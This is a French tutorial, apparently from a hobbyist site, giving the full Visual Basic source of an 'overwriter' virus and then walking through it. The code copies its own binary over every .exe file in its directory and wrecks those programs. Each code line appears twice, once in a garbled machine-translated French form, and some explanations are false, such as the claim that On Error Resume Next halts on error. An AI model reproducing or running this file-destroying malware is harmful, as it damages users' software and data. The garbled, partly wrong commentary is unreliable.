Les virus informatiques sont sous de nombreuses formes avec de nombreuses fonctions différentes. Certains sont plutôt simplistes et peuvent être détectés par l'utilisateur moyen tandis que d'autres sont complexes et passent inaperçus pendant un certain temps. Les virus les plus courants relevant de la classification des infecteurs de fichiers, qui fonctionnent en infectant des fichiers exécutables. Ils y parviennent en insérant leur code malveillant dans une zone du fichier d'origine, lui permettant d'être exécutée chaque fois que le fichier est accessible Certains d'entre eux sont capables de complètement écraser un fichier, ce qui rend tout un programme inutile.
C’est le cas de ce type de virus que nous allons voir aujourd’hui. Les virus Overwritters.
Je sais que les virus overwritters , n'ont malheureusement plus aucune chance de se propager et ils ne sont pas "intelligent". Malgré tout cela overwritters peut vous aider à comprendre les bases du VRAI virus. Je vais vous donner le code d'abord et ensuite on va le passer en revue.
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Option Explicit Option Explicit
Dim myarray() As Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Private Sub Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray Obtenez myarray # 1, 1,
Close #Free Close # Free
victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
victim = Dir() victime = Dir ()
Wend Wend
End End
End Sub End Sub
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Décodons tout cela : (miam ! J)
Option Explicit Option Explicit
Dim myarray() As Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Ici, nous définissons les variables que nous allons utiliser, le "myarray ()" variable qui contient le code binaire du virus, "victime" est la variable qui contient le nom du fichier de la victime et le "mysize" variable contient la taille du virus.
Private Sub Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Nous ouvrons le sous dossier que nous allons utiliser (Form_Load), et nous avons mis notre erreur poignée c'est-à-dire qu’en cas d’erreur le programme s’arrêtera là.
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
C'est une bonne idée de prendre exemple sur le virus y2k. Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray Obtenez myarray # 1, 1,
Close #Free Close # Free
Maintenant, nous allons sortir le code binaire de nos virus et nous allons le stocker dans la variable "myarray".
victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
Ici, nous définissons la variable « victime » et nous avons mis notre code binaire dans le programme de la victime.
victim = Dir() victime = Dir ()
Wend Wend
Puis nous avons mis la victime à zéro, et nous répétons l'ensemble du processus d'infecter tous les fichiers. Exe dans le répertoire courant.
End End
End Sub End Sub
Et enfin, nous fermons le programme et les sous dossiers.
D’après S.T de djib
